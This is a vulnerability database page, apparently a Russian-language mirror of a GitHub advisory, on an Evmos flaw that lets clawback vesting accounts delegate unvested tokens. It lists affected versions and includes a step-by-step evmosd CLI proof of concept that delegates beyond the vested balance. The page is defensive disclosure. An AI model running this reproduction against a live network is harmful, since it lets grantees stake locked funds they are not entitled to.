Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-7hrh-v6wp-53vw

Опубликовано: 06 июн. 2024
Источник: github
Github: Прошло ревью
CVSS3: 5.3

Описание

Evmos allows unvested token delegations

Impact

What kind of vulnerability is it? Who is impacted?

At the moment, users are able to delegate tokens that have not yet been vested. This affects employees and grantees who have funds managed via ClawbackVestingAccount.

Patches

Has the problem been patched? What versions should users upgrade to?

The PR linked to this advisory includes part of the fix. The remainder is in a second advisory on the Cosmos SDK fork.

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

There is no effective workaround to fix or remediate this issue without a new release. The best solution is to contain the information about this vulnerability to minimize the number of users who know about it and can thus exploit it.

References

Are there any links users can visit to find out more?

See the integration tests for more details on the exploit, or use the following to reproduce it on the CLI:

  1. Download vesting_setup.json with the following contents:
{ "start_time": 1679602272, "periods": [ { "coins": "100000000000000000000aevmos", "length_seconds": 10 }, { "coins": "100000000000000000000aevmos", "length_seconds": 259200000 } ] }
  1. Run the following CLI commands to reproduce the issue locally:
evmosd tx vesting create-clawback-vesting-account evmos1rn7fmq6he0s4uz9mwzzqwwm7fmmepd39cusn0t --vesting vesting_setup.json --from dev0 --fees 2000000000000000aevmos --home ~/.tmp-evmosd --yes # Verify that the balance contains zero locked tokens, 1000000000000000aevmos vested, 1000000000000000aevmos unvested evmosd q vesting balances evmos1rn7fmq6he0s4uz9mwzzqwwm7fmmepd39cusn0t --home ~/.tmp-evmosd evmosd keys add key1 --recover --home ~/.tmp-evmosd # Enter the following mnemonic skate tell option purity cattle poverty street act bone govern way various evmosd q staking validators --home ~/.tmp-evmosd | grep operator_address # Substitute the operator address from the previous query # Note that this delegates 70% of the user's available stake evmosd tx staking delegate <operator_address> 70000000000000000000aevmos --fees 5000000000000000aevmos --gas 300000 --from key1 --home ~/.tmp-evmosd --yes # Re-run the same command evmosd tx staking delegate <operator_address> 70000000000000000000aevmos --fees 5000000000000000aevmos --gas 300000 --from key1 --home ~/.tmp-evmosd --yes # Note that the total delegations now exceed the user's vested balance evmosd q staking delegations evmos1rn7fmq6he0s4uz9mwzzqwwm7fmmepd39cusn0t --home ~/.tmp-evmosd

Пакеты

Наименование

github.com/evmos/evmos/v18

go
Затронутые версииВерсия исправления

<= 18.1.0

Отсутствует

Наименование

github.com/evmos/evmos/v17

go
Затронутые версииВерсия исправления

<= 17.0.1

Отсутствует

Наименование

github.com/evmos/evmos/v16

go
Затронутые версииВерсия исправления

<= 16.0.4

Отсутствует

Наименование

github.com/evmos/evmos/v15

go
Затронутые версииВерсия исправления

<= 15.0.0

Отсутствует

Наименование

github.com/evmos/evmos/v14

go
Затронутые версииВерсия исправления

<= 14.1.0

Отсутствует

Наименование

github.com/evmos/evmos/v13

go
Затронутые версииВерсия исправления

<= 13.0.2

Отсутствует

Наименование

github.com/evmos/evmos/v12

go
Затронутые версииВерсия исправления

<= 12.1.6

Отсутствует

Наименование

github.com/evmos/evmos/v11

go
Затронутые версииВерсия исправления

<= 11.0.2

Отсутствует

Наименование

github.com/evmos/evmos/v10

go
Затронутые версииВерсия исправления

<= 10.0.1

Отсутствует

Наименование

github.com/evmos/evmos/v9

go
Затронутые версииВерсия исправления

<= 9.1.0

Отсутствует

Наименование

github.com/evmos/evmos/v8

go
Затронутые версииВерсия исправления

<= 8.2.3

Отсутствует

Наименование

github.com/evmos/evmos/v7

go
Затронутые версииВерсия исправления

<= 7.0.0

Отсутствует

Наименование

github.com/evmos/evmos/v6

go
Затронутые версииВерсия исправления

<= 6.0.4

Отсутствует

EPSS

Процентиль: 49%
0.00256
Низкий

5.3 Medium

CVSS3

Дефекты

CWE-285
CWE-863

Связанные уязвимости

CVSS3: 5.3
nvd
больше 1 года назад

Evmos is the Ethereum Virtual Machine (EVM) Hub on the Cosmos Network. Users are able to delegate tokens that have not yet been vested. This affects employees and grantees who have funds managed via `ClawbackVestingAccount`. This affects 18.1.0 and earlier.

EPSS

Процентиль: 49%
0.00256
Низкий

5.3 Medium

CVSS3

Дефекты

CWE-285
CWE-863